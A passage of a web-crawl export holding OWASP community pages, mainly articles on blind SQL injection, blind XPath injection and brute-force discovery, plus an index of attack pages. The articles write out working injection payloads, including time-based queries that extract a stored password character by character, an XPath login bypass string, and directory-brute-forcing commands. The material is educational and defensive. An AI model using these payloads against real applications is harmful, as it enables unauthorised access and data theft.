Working\nSessions/Session091](Summit_2011_Working_Sessions/Session091)\n- Dan Cornell\n- [Achim Hoffmann](User:Achim)\n- Martin Knobloch\n\n## References\n\nDetailed definitions and more in-depth descriptions concerning WAS - Web\nApplication Security - can be found at:\n\n- OWASP [Virtual Patching Cheat\nSheet](https://cheatsheetseries.owasp.org/cheatsheets/Virtual_Patching_Cheat_Sheet.html)\n- [OWASP Best Practices: Use of Web Application\nFirewalls](:Category:OWASP_Best_Practices:_Use_of_Web_Application_Firewalls)\n- [OWASP Securing WebGoat using ModSecurity\nProject](:Category:OWASP_Securing_WebGoat_using_ModSecurity_Project)\n- [OWASP ModSecurity Core Rule\nSet](:Category:OWASP_ModSecurity_Core_Rule_Set_Project)\n\n[ModSecurity Core Rule Set Project](Category:OWASP_Project) [ModSecurity Core Rule Set Project](Category:OWASP_WAF) [Category:OWASP Document](Category:OWASP_Document) [Category:How To](Category:How_To)\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 29170, "slov": 4346, "odkazu": 35, "kodovani": "windows-1250", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:57:52", "sha256": "a73c049bb01e5ee274bc41519e4b3353155d749776c9a42b572e536fa3c6a26a", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://cheatsheetseries.owasp.org/cheatsheets/Virtual_Patching_Cheat_Sheet.html", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/attacks/", "titulek": "Attacks | OWASP Foundation", "h1": "Attacks", "popis": "Attacks on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/attacks/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Attacks on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "Attacks | OWASP Foundation", "og:url": "https://community.owasp.org/attacks/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Attacks"}, {"uroven": 1, "text": "What is an attack?"}, {"uroven": 2, "text": "List of Attacks"}], "markdown": "# Attacks\n\n# What is an attack?\n\nAttacks are the techniques that attackers use to exploit the vulnerabilities in applications. Attacks are often confused with vulnerabilities - the attacks listed here describe something that an attacker would do (their actions), rather than a weakness in an application (something like a fault that could be exploited).\n\n## List of Attacks\n\n- [Abuse of Functionality](/attacks/Abuse_of_Functionality) by Colin Watson\n- [Binary Planting](/attacks/Binary_planting)\n- [Blind SQL Injection](/attacks/Blind_SQL_Injection)\n- [Blind XPath Injection](/attacks/Blind_XPath_Injection)\n- [Brute Force Attack](/attacks/Brute_force_attack)\n- [Buffer Overflow via Environment Variables](/attacks/Buffer_Overflow_via_Environment_Variables)\n- [Buffer Overflow Attack](/attacks/Buffer_overflow_attack)\n- [CORS OriginHeaderScrutiny](/attacks/CORS_OriginHeaderScrutiny)\n- [CORS RequestPreflightScrutiny](/attacks/CORS_RequestPreflightScrutiny) by Dominique RIGHETTO\n- [CSV Injection](/attacks/CSV_Injection) by Timo Goosen, Albinowax\n- [Cache Poisoning](/attacks/Cache_Poisoning) by Weilin Zhong, Rezos\n- [Cash Overflow](/attacks/Cash_Overflow) by psiinon\n- [Clickjacking](/attacks/Clickjacking) by Gustav Rydstedt\n- [Code Injection](/attacks/Code_Injection) by Weilin Zhong, Rezos\n- [Command Injection](/attacks/Command_Injection) by Weilin Zhong\n- [Comment Injection Attack](/attacks/Comment_Injection_Attack) by Weilin Zhong, Rezos\n- [Content Spoofing](/attacks/Content_Spoofing) by Andrew Smith\n- [Credential stuffing](/attacks/Credential_stuffing) by Neal Mueller\n- [Cross-User Defacement](/attacks/Cross-User_Defacement)\n- [Cross Site Scripting (XSS)](/attacks/xss/) by KirstenS\n- [Cross Frame Scripting](/attacks/Cross_Frame_Scripting) by Rezos, Justin Ludwig\n- [Cross Site History Manipulation (XSHM)](/attacks/Cross_Site_History_Manipulation_(XSHM)) by Adar Weidman\n- [Cross Site Tracing](/attacks/Cross_Site_Tracing)\n- [Cryptanalysis](/attacks/Cryptanalysis)\n- [Custom Special Character Injection](/attacks/Custom_Special_Character_Injection) by Rezos\n- [Denial of Service](/attacks/Denial_of_Service) by Nsrav\n- [Direct Dynamic Code Evaluation - Eval Injection](/attacks/Direct_Dynamic_Code_Evaluation_Eval Injection)\n- [Embedding Null Code](/attacks/Embedding_Null_Code) by Nsrav\n- [Execution After Redirect (EAR)](/attacks/Execution_After_Redirect_(EAR)) by Robert Gilbert (amroot)\n- [Forced browsing](/attacks/Forced_browsing)\n- [Form action hijacking](/attacks/Form_action_hijacking) by Robert Gilbert (amroot)\n- [Format string attack](/attacks/Format_string_attack)\n- [Full Path Disclosure](/attacks/Full_Path_Disclosure)\n- [Function Injection](/attacks/Function_Injection)\n- [HTTP/2 Reset Attack](/attacks/HTTP2_Reset_Attack) by Vaibhav Malik\n- [HTTP Response Splitting](/attacks/HTTP_Response_Splitting)\n- [LDAP Injection](/attacks/LDAP_Injection)\n- [Log Injection](/attacks/Log_Injection)\n- [MCP Tool Poisoning](/attacks/MCP_Tool_Poisoning) by kOaDT\n- [Man-in-the-browser attack](/attacks/Man-in-the-browser_attack)\n- [Manipulator-in-the-Middle attack](/attacks/Manipulator-in-the-middle_attack)\n- [Mobile code invoking untrusted mobile code](/attacks/Mobile_code_invoking_untrusted_mobile_code)\n- [Mobile code non-final public field](/attacks/Mobile_code_non-final_public_field)\n- [Mobile code object hijack](/attacks/Mobile_code_object_hijack)\n- [Parameter Delimiter](/attacks/Parameter_Delimiter)\n- [Password Spraying Attack](/attacks/Password_Spraying_Attack) by Rishu Ranjan\n- [Path Traversal](/attacks/Path_Traversal)\n- [Qrljacking](/attacks/Qrljacking)\n- [RSQL Injection](/attacks/RSQL_Injection) by David Utón (m3n0sd0n4ld)\n- [Reflected DOM Injection](/attacks/Reflected_DOM_Injection)\n- [Regular expression Denial of Service - ReDoS](/attacks/Regular_expression_Denial_of_Service_-_ReDoS) by Adar Weidman\n- [Repudiation Attack](/attacks/Repudiation_Attack)\n- [Resource Injection](/attacks/Resource_Injection)\n- [Reverse Tabnabbing](/attacks/Reverse_Tabnabbing)\n- [SQL Injection](/attacks/SQL_Injection)\n- [Server-Side Includes (SSI) Injection](/attacks/Server-Side_Includes_(SSI)_Injection) by Weilin Zhong, Nsrav\n- [Server Side Request Forgery](/attacks/Server_Side_Request_Forgery) by Eoftedal\n- [Session Prediction](/attacks/Session_Prediction)\n- [Session fixation](/attacks/Session_fixation) by mwood\n- [Session hijacking attack](/attacks/Session_hijacking_attack)\n- [Setting Manipulation](/attacks/Setting_Manipulation)\n- [Special Element Injection](/attacks/Special_Element_Injection)\n- [Spyware](/attacks/Spyware)\n- [Traffic flood](/attacks/Traffic_flood)\n- [Trojan Horse](/attacks/Trojan_Horse)\n- [Unicode Encoding](/attacks/Unicode_Encoding)\n- [Web Parameter Tampering](/attacks/Web_Parameter_Tampering)\n- [Windows ::DATA Alternate Data Stream](/attacks/Windows_alternate_data_stream)\n- [XPATH Injection](/attacks/XPATH_Injection)\n- [XSRF](/attacks/XSRF)\n- [XSS in Converting File Content to Text](/attacks/XSS_in_Converting_File_Content_to_Text) by Mohammad Reza Omrani\n- [XSS in subtitle](/attacks/Xss_in_subtitle) by Mohammad MortazaviZade\n- [Cross Site Request Forgery (CSRF)](/attacks/csrf) by KirstenS\n- [Insecure Direct Object Reference (IDOR)](/attacks/insecure_direct_object_reference) by Dmytro Knivets\n- [IP Spoofing via HTTP Headers](/pages/attacks/ip_spoofing_via_http_headers.html) by Ahmadreza Parsizadeh\n- [HITL Dialog Forging (aka Lies-in-the-Loop)](/attacks/Lies_in_the_Loop) by Ori Ron, Dor Tumarkin\n- [Open Redirect](/attacks/open_redirect) by Dmytro Knivets\n- [Web Service Amplification Attack](/attacks/web_services_amplification) by Thomas Vissers\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 5639, "slov": 418, "odkazu": 104, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 16:25:21", "sha256": "b33196bd2f4cd540e24918a222b825c5fec3dae5da000e27cc9e1d23c12f1025", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/attacks/Blind_SQL_Injection", "titulek": "Blind SQL Injection | OWASP Foundation", "h1": "Blind SQL Injection", "popis": "Blind SQL Injection on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/attacks/Blind_SQL_Injection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Blind SQL Injection on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "Blind SQL Injection | OWASP Foundation", "og:url": "https://community.owasp.org/attacks/Blind_SQL_Injection", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Blind SQL Injection"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "Threat Modeling"}, {"uroven": 2, "text": "Risk Factors"}, {"uroven": 2, "text": "Examples"}, {"uroven": 3, "text": "Content-based"}, {"uroven": 3, "text": "Time-based"}, {"uroven": 4, "text": "Microsoft SQL Server"}, {"uroven": 4, "text": "MySQL"}, {"uroven": 3, "text": "Remote Database Fingerprinting"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Online Resources"}, {"uroven": 3, "text": "Tools"}], "markdown": "# Blind SQL Injection\n\n**Contributor(s):** kingthorin\n\n## Description\n\nBlind SQL (Structured Query Language) injection is a type of [SQL\nInjection](https://owasp.org/www-community/attacks/SQL_Injection) attack that asks the database true\nor false questions and determines the answer based on the applications\nresponse. This attack is often used when the web application is\nconfigured to show generic error messages, but has not mitigated the\ncode that is vulnerable to SQL injection.\n\nWhen an attacker exploits SQL injection, sometimes the web application\ndisplays error messages from the database complaining that the SQL\nQuery’s syntax is incorrect. Blind SQL injection is nearly identical to\nnormal [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection), the only difference\nbeing the way the data is retrieved from the database. When the database\ndoes not output data to the web page, an attacker is forced to steal\ndata by asking the database a series of true or false questions. This\nmakes exploiting the SQL Injection vulnerability more difficult, but not\nimpossible.\n\n## Threat Modeling\n\nSame as for [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n\n## Risk Factors\n\nSame as for [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n\n## Examples\n\nAn attacker may verify whether a sent request returned true or false in\na few ways:\n\n### Content-based\n\nUsing a simple page, which displays an article with given ID as the\nparameter, the attacker may perform a couple of simple tests to\ndetermine if the page is vulnerable to SQL Injection attacks.\n\nExample URL:\n\n```\nhttp://newspaper.com/items.php?id=2\n```\n\nsends the following query to the database:\n\n```\nSELECT title, description, body FROM items WHERE ID = 2\n```\n\nThe attacker may then try to inject a query that returns ‘false’:\n\n```\nhttp://newspaper.com/items.php?id=2 and 1=2\n```\n\nNow the SQL query should looks like this:\n\n```\nSELECT title, description, body FROM items WHERE ID = 2 and 1=2\n```\n\nIf the web application is vulnerable to SQL Injection, then it probably\nwill not return anything. To make sure, the attacker will inject a query\nthat will return ‘true’:\n\n```\nhttp://newspaper.com/items.php?id=2 and 1=1\n```\n\nIf the content of the page that returns ‘true’ is different than that of\nthe page that returns ‘false’, then the attacker is able to distinguish\nwhen the executed query returns true or false.\n\nOnce this has been verified, the only limitations are privileges set up\nby the database administrator, different SQL syntax, and the attacker’s\nimagination.\n\n### Time-based\n\nThis type of blind SQL injection relies on the database pausing for a\nspecified amount of time, then returning the results, indicating\nsuccessful SQL query executing. Using this method, an attacker\nenumerates each letter of the desired piece of data using the following\nlogic:\n\nIf the first letter of the first database’s name is an ‘A’, wait for 10\nseconds.\n\nIf the first letter of the first database’s name is an ‘B’, wait for 10\nseconds. etc.\n\n#### Microsoft SQL Server\n\n```\nhttp://www.site.com/vulnerable.php?id=1' waitfor delay '00:00:10'--\n```\n\n#### MySQL\n\n```\nSELECT IF(expression, true, false)\n```\n\nUsing some time-taking operation e.g. BENCHMARK(), will delay server\nresponses if the expression is True.\n\n```\nBENCHMARK(5000000,ENCODE('MSG','by 5 seconds'))\n```\n\nwill execute the ENCODE function 5000000 times.\n\nDepending on the database server’s performance and load, it should take\njust a moment to finish this operation. The important thing is, from the\nattacker’s point of view, to specify a high-enough number of BENCHMARK()\nfunction repetitions to affect the database response time in a\nnoticeable way.\n\nExample combination of both queries:\n\n```\n1 UNION SELECT IF(SUBSTRING(user_password,1,1) = CHAR(50),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM users WHERE user_id = 1;\n```\n\nIf the database response took a long time, we may expect that the first\nuser password character with user_id = 1 is character ‘2’.\n\n```\n(CHAR(50) == '2')\n```\n\nUsing this method for the rest of characters, it’s possible to enumerate\nentire passwords stored in the database. This method works even when the\nattacker injects the SQL queries and the content of the vulnerable page\ndoesn’t change.\n\nObviously, in this example, the names of the tables and the number of\ncolumns was specified. However, it’s possible to guess them or check\nwith a trial and error method.\n\nDatabases other than MySQL also have time-based functions which allow\nthem to be used for time-based attacks:\n\n- MS SQL: `'WAIT FOR DELAY '0:0:10''`\n- PostgreSQL: `pg_sleep()`\n\nConducting Blind SQL Injection attacks manually is very time\nconsuming, but there are a lot of tools which automate this process. One\nof them is [SQLMap](http://sqlmap.org/) partly developed within OWASP\ngrant program. On the other hand, tools of this kind are very sensitive\nto even small deviations from the rule. This includes:\n\n- scanning other website clusters, where clocks are not ideally\nsynchronized,\n- WWW services where argument acquiring method was changed, e.g. from `/index.php?ID=10` to `/ID,10`\n\n### Remote Database Fingerprinting\n\nIf the attacker is able to determine when their query returns True or\nFalse, then they may fingerprint the RDBMS. This will make the whole\nattack much easier. If the time-based approach is used, this helps\ndetermine what type of database is in use. Another popular methods to do\nthis is to call functions which will return the current date. MySQL,\nMSSQL, and Oracle have different functions for that, respectively\n`now()`, `getdate()`, and `sysdate()`.\n\n- [Blind_XPath_Injection](https://owasp.org/www-community/attacks/Blind_XPath_Injection)\n- [SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n- [XPATH_Injection](https://owasp.org/www-community/attacks/XPATH_Injection)\n- [LDAP_injection](https://owasp.org/www-community/attacks/LDAP_Injection)\n- [Server-Side_Includes_%28SSI%29 *Injection](https://owasp.org/www-community/attacks/Server-Side_Includes* (SSI)_Injection)\n\nSee the OWASP [SQL Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html).\nSee the [OWASP Code Review Guide](https://owasp.org/www-project-code-review-guide/) guide on how to\nreview code for SQL injection vulnerabilities.\n\nSee the [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/) article on how to\n[Test for SQL Injection](document/4_Web_Application_Security_Testing/4.8_Input_Validation_Testing/4.8.5_Testing_for_SQL_Injection_WSTG-INPVAL-005.md)\nvulnerabilities.\n\n## References\n\n- http://www.cgisecurity.com/questions/blindsql.shtml\n- http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html\n- http://www.securitydocs.com/library/2651\n- http://seclists.org/bugtraq/2005/Feb/0288.html\n- http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/\n\n### Online Resources\n\n- [More Advanced SQL Injection](https://research.nccgroup.com/wp-content/uploads/2020/07/advanced_sql_injection.pdf) - by NGS\n- [Blind SQL Injection Automation Techniques](http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-hotchkies/bh-us-04-hotchkies.pdf) - Black Hat PDF\n- [Blind Sql-Injection in MySQL Databases](http://seclists.org/lists/bugtraq/2005/Feb/0288.html)\n- [Cgisecurity.com: What is Blind SQL Injection?](http://www.cgisecurity.com/questions/blindsql.shtml)\n- [Advanced SQL Injection](https://wiki.owasp.org/images/7/74/Advanced_SQL_Injection.ppt) - Kevin Spett from SPI Dynamics\n\n### Tools\n\n- [sqlmap, automatic SQL injection tool](http://sqlmap.org/) in Python\n- [bsqlbf, a blind SQL injection tool](https://code.google.com/p/bsqlbf-v2/) in Perl\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 7711, "slov": 966, "odkazu": 44, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:33:41", "sha256": "6a418c1a667ec0d6a2e2187addc4613dbb79ba0954e07a3fe64445b9be148f4b", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "http://sqlmap.org/", "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html", "https://research.nccgroup.com/wp-content/uploads/2020/07/advanced_sql_injection.pdf", "http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-hotchkies/bh-us-04-hotchkies.pdf", "http://seclists.org/lists/bugtraq/2005/Feb/0288.html", "http://www.cgisecurity.com/questions/blindsql.shtml", "https://wiki.owasp.org/images/7/74/Advanced_SQL_Injection.ppt", "https://code.google.com/p/bsqlbf-v2/", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/attacks/Blind_XPath_Injection", "titulek": "Blind XPath Injection | OWASP Foundation", "h1": "Blind XPath Injection", "popis": "Blind XPath Injection on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/attacks/Blind_XPath_Injection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Blind XPath Injection on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "Blind XPath Injection | OWASP Foundation", "og:url": "https://community.owasp.org/attacks/Blind_XPath_Injection", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Blind XPath Injection"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "Risk Factors"}, {"uroven": 2, "text": "Examples"}, {"uroven": 3, "text": "Boolenization"}, {"uroven": 3, "text": "XML Crawling"}, {"uroven": 2, "text": "References"}], "markdown": "# Blind XPath Injection\n\n## Description\n\nXPath is a type of query language that describes how to locate specific\nelements (including attributes, processing instructions, etc.) in an XML\ndocument. Since it is a query language, XPath is somewhat similar to\nStructured Query Language (SQL), however, XPath is different in that it\ncan be used to reference almost any part of an XML document without\naccess control restrictions. In SQL, a “user” (which is a term undefined\nin the XPath/XML context) may be restricted to certain databases,\ntables, columns, or queries. Using an XPATH Injection attack, an\nattacker is able to modify the XPATH query to perform an action of their\nchoosing.\n\nBlind XPath Injection attacks can be used to extract data from an\napplication that embeds user supplied data in an unsafe way. When input\nis not properly sanitized, an attacker can supply valid XPath code that\nis executed. This type of attack is used in situations where the\nattacker has no knowledge about the structure of the XML document, or\nperhaps error message are suppressed, and is only able to pull once\npiece of information at a time by asking true/false\nquestions(booleanized queries), much like [Blind SQL Injection](Blind_SQL_Injection).\n\nFor more information, please see the article on regular [XPATH Injection](XPATH_Injection).\n\n## Risk Factors\n\nTBD\n\n## Examples\n\nThe attacker may mount a successful attack using two methods:\nBoolenization and XML Crawling. By adding to the XPath syntax, the\nattacker uses additional expressions (replacing what the attacker\nentered in the place of the injection).\n\n### Boolenization\n\nUsing the “Boolenization” method the attacker may find out if the given\nXPath expression is True or False. Let’s assume that the aim of the\nattacker is to log in to an account in a web application. A Successful\nlog in would return “True” and failed log in attempt would return\n“False”. Only a small portion of the information is targeted via the\nanalyzed character or number. When the attacker focuses on a string they\nmay reveal it in its entirety by checking every single character within\nthe class/range of characters this string belongs to.\n\nUsing a `string-length(S)` function, where S is a string, the attacker\nmay find out the length of this string. With the appropriate number of\n`substring(S,N,1)` function iterations, where S is a previously\nmentioned string, N is a start character, and “1” is a next character\ncounting from N character, the attacker is able to enumerate the whole\nstring.\n\nCode:\n\n```\n admin test SuperUser rezos rezos123 Simple User \n```\n\nFunction:\n\n- `string.stringlength(//user\\[position()=1\\]/child::node()\\[position()=2\\])` returns the length of the second string of the first user (8),\n- `substring((//user\\[position()=1\\]/child::node()\\[position()=2),1,1)` returns the first character of this user (‘r’).\n\n### XML Crawling\n\nTo get to know the XML document structure the attacker may use:\n\n- count(expression)\n\n```\ncount(//user/child::node())\n```\n\nThis will return the number of nodes (in this case 2).\n\n- stringlength(string)\n\n```\nstring-length(//user[position()=1]/child::node()[position()=2])=6 \n```\n\nUsing this query the attacker will find out if the second string\n(password) of the first node (user ‘admin’) consists of 6 characters.\n\n- substring(string, number, number)\n\n```\nsubstring((//user[position()=1]/child::node()[position()=2]),1,1)=\"a\"\n```\n\nThis query will confirm (True) or deny (False) that the first character\nof the user (‘admin’) password is an “a” character.\n\nIf the log in form would look like this:\n\nC#:\n\n```\nString FindUser;\nFindUser = \"//user[login/text()='\" + Request(\"Username\") + \"' And\n password/text()='\" + Request(\"Password\") + \"']\";\n```\n\nthen the attacker should inject the following code:\n\n```\nUsername: ' or substring((//user[position()=1]/child::node()[position()=2]),1,1)=\"a\" or ''='\n```\n\nThe XPath syntax may remind you of common [SQL Injection](SQL_Injection) attacks but the attacker must\nconsider that this language disallows commenting out the rest of\nexpresssion. To omit this limitation the attacker should use OR\nexpressions to void all expressions, which may disrupt the attack.\n\nBecause of *Boolenization* the number of queries, even within a small\nXML document, may be very high (thousands, hundreds of thousands and\nmore). That is why this attack is not conducted manually. Knowing a few\nbasic XPath functions, the attacker is able to write an application in a\nshort time which will rebuild the structure of the document and will\nfill it with data by itself.\n\n- [Blind_SQL_Injection](Blind_SQL_Injection)\n- [XPATH_Injection](XPATH_Injection)\n\n## References\n\n- http://dl.packetstormsecurity.net/papers/bypass/Blind_XPath_Injection_20040518.pdf\n - by Amit Klein (much more detailes, in my opinion the best source about Blind XPath Injection).\n- http://projects.webappsec.org/w/page/13247005/XPath%20Injection\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 5104, "slov": 704, "odkazu": 32, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:33:45", "sha256": "471d1d39da4ae0ae2a900937b2e443043fe77194c6c7dce6ec0a106ec83beb84", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/attacks/Brute_force_attack", "titulek": "Brute Force Attack | OWASP Foundation", "h1": "Brute Force Attack", "popis": "Brute Force Attack on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/attacks/Brute_force_attack", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Brute Force Attack on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "Brute Force Attack | OWASP Foundation", "og:url": "https://community.owasp.org/attacks/Brute_force_attack", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Brute Force Attack"}, {"uroven": 3, "text": "How to Test for Brute Force Vulnerabilities"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "Risk Factors"}, {"uroven": 2, "text": "Examples"}, {"uroven": 3, "text": "Example 1"}, {"uroven": 3, "text": "Example 2"}, {"uroven": 2, "text": "Defensive Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# Brute Force Attack\n\n**Contributor(s):** Gsami, Rezos, Thiagoalz, KristenS, D0ubl3 h3lix, Andrew Smith, Jenjava1762, Mtesauro, kingthorin\n\n### How to Test for Brute Force Vulnerabilities\n\nSee the [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/) article on how to\nTest for Brute Force Vulnerabilities.\n\n## Description\n\nA brute force attack can manifest itself in many different ways, but\nprimarily consists in an attacker configuring predetermined values,\nmaking requests to a server using those values, and then analyzing the\nresponse. For the sake of efficiency, an attacker may use a dictionary\nattack (with or without mutations) or a traditional brute-force attack\n(with given classes of characters e.g.: alphanumeric, special, case\n(in)sensitive). Considering a given method, number of tries, efficiency\nof the system which conducts the attack, and estimated efficiency of the\nsystem which is attacked the attacker is able to calculate approximately\nhow long it will take to submit all chosen predetermined values.\n\n## Risk Factors\n\n## Examples\n\nBrute-force attacks are often used for attacking authentication and\ndiscovering hidden content/pages within a web application. These attacks\nare usually sent via GET and POST requests to the server. In regards to\nauthentication, brute force attacks are often mounted when an [account\nlockout policy](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html#account-lockout)\nis not in place.\n\n### Example 1\n\nA web application can be attacked via brute force by taking a word list\nof known pages, for instance from a popular content management system,\nand simply requesting each known page then analyzing the HTTP response\ncode to determine if the page exists on the target server.\n\n[DirBuster](https://wiki.owasp.org/index.php/Category:OWASP_DirBuster_Project)\nis a tool that does exactly this.\n\nOther tools for this type of attack are as follows:\n\n- [dirb](http://sourceforge.net/projects/dirb/)\n- [WebRoot](http://www.cirt.dk/tools/webroot/WebRoot.txt)\n\ndirb is capable of:\n\n- setting cookies\n- adding any HTTP header\n- using PROXY\n- mutating objects which were found\n- testing http(s) connections\n- seeking catalogues or files using defined dictionaries and templates\n- and much much more\n\nThe simplest test to perform is:\n\n```\nrezos@dojo ~/d/owasp_tools/dirb $ ./dirb http://testsite.test/\n-----------------\nDIRB v1.9\nBy The Dark Raver\n-----------------\nSTART_TIME: Mon Jul 9 23:13:16 2007\nURL_BASE: http://testsite.test/\nWORDLIST_FILES: wordlists/common.txt\nSERVER_BANNER: lighttpd/1.4.15\nNOT_EXISTANT_CODE: 404 [NOT FOUND]\n(Location: '' - Size: 345)\n\n-----------------\n\nGenerating Wordlist...\nGenerated Words: 839\n\n---- Scanning URL: http://testsite.test/ ----\nFOUND: http://testsite.test/phpmyadmin/\n (***) DIRECTORY (*)\n```\n\nIn the output the attacker is informed that `phpmyadmin/` directory was\nfound. The attacker has now found a potential directory of interest\nwithin this application. In dirb’s templates there are, among others, a\ndictionary containing information about invalid httpd configurations.\nThis dictionary will detect weaknesses of this kind.\n\nThe application\n[WebRoot.pl](http://www.cirt.dk/tools/webroot/WebRoot.txt), written by\nCIRT.DK, has embedded mechanisms for parsing server responses, and based\non the phrase specified by the attacker, measures if the server response\nis expected.\n\nFor example:\n\nNp.\n\n```\n./WebRoot.pl -noupdate -host testsite.test -port 80 -verbose -match \"test\" -url \"/private/\" -incremental lowercase -minimum 1 -maximum 1\n\n`oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00`\n`o Webserver Bruteforcing 1.8 o`\n`0 ************* !!! WARNING !!! ************ 0`\n`0 ******* FOR PENETRATION USE ONLY ********* 0`\n`0 ****************************************** 0`\n`o (c)2007 by Dennis Rand - CIRT.DK o`\n`oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00`\n\n`[X] Checking for updates - NO CHECK`\n`[X] Checking for False Positive Scan - OK`\n`[X] Using Incremental - OK`\n`[X] Starting Scan - OK`\n` GET /private/b HTTP/1.1`\n` GET /private/z HTTP/1.1`\n\n`[X] Scan complete - OK`\n`[X] Total attempts - 26`\n`[X] Sucessfull attempts - 1`\n`oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00`\n\nWebRoot.pl found one file \"/private/b\" on testsite.test, which contains\nphrase \"test\".\n```\n\nAnother example is to examine ranges of the variable’s values:\n\n`./WebRoot.pl -noupdate -host testsite.test -port 80 -verbose -diff \"Error\" -url \"/index.php?id=\" -incremental integer -minimum 1 -maximum 1`\n\n- Road Blocks:\n\nOne of the main issues with tools like dirb/dirbuster consist in the\nanalysis of server responses. With more advanced server configuration\n(e.g. 